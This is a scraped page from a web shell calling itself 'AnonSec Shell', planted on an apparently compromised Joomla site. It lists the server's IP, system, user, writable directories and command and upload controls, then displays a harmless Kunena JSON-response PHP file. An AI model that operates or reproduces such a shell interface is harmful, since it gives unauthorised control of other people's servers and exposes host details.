AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/c/o/o/coopiak/www/cj79373/libraries/kunena/response/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/c/o/o/coopiak/www/cj79373/libraries/kunena/response/json.php
<?php
/**
 * @version   $Id$
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - ${copyright_year} RocketTheme, LLC
 * @license   http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only
 */

// No direct access
defined('_JEXEC') or die;

/**
 * Kunena JSON Response, extends \Joomla\CMS\Response\JsonResponse.
 * @since Kunena
 */
class KunenaResponseJson extends KunenaCompatResponseJson
{
	/**
	 * @var int|mixed
	 * @since Kunena
	 */
	public $code = 200;

	/**
	 * @var string
	 * @since Kunena
	 */
	public $location;

	/**
	 * Constructor
	 *
	 * @param   mixed   $response       The Response data
	 * @param   string  $message        The main response message
	 * @param   boolean $error          True, if the success flag shall be set to false, defaults to false
	 * @param   boolean $ignoreMessages True, if the message queue shouldn't be included, defaults to false
	 *
	 * @since Kunena
	 */
	public function __construct($response = null, $message = null, $error = false, $ignoreMessages = false)
	{
		parent::__construct($response, $message, $error, $ignoreMessages);

		if ($response instanceof Exception)
		{
			$this->code = $response->getCode();

			// Build data from exceptions.
			$exceptions = array();
			$e          = $response;

			do
			{
				$exception = array(
					'code'    => $e->getCode(),
					'message' => $e->getMessage(),
				);

				if (JDEBUG)
				{
					$exception += array(
						'type' => get_class($e),
						'file' => $e->getFile(),
						'line' => $e->getLine(),
					);
				}

				$exceptions[] = $exception;
				$e            = $e->getPrevious();
			}
			while (JDEBUG && $e);

			// Create response data on exceptions.
			$this->data = array('exceptions' => $exceptions);
		}

		// Empty output buffer to make sure that the response is clean and valid.
		while (($output = ob_get_clean()) !== false)
		{
			// In debug mode send also output buffers (debug dumps, PHP notices and warnings).
			if ($output && defined(JDEBUG))
			{
				$response->messages['php'][] = $output;
			}
		}
	}
}

Anon7 - 2022
AnonSec Team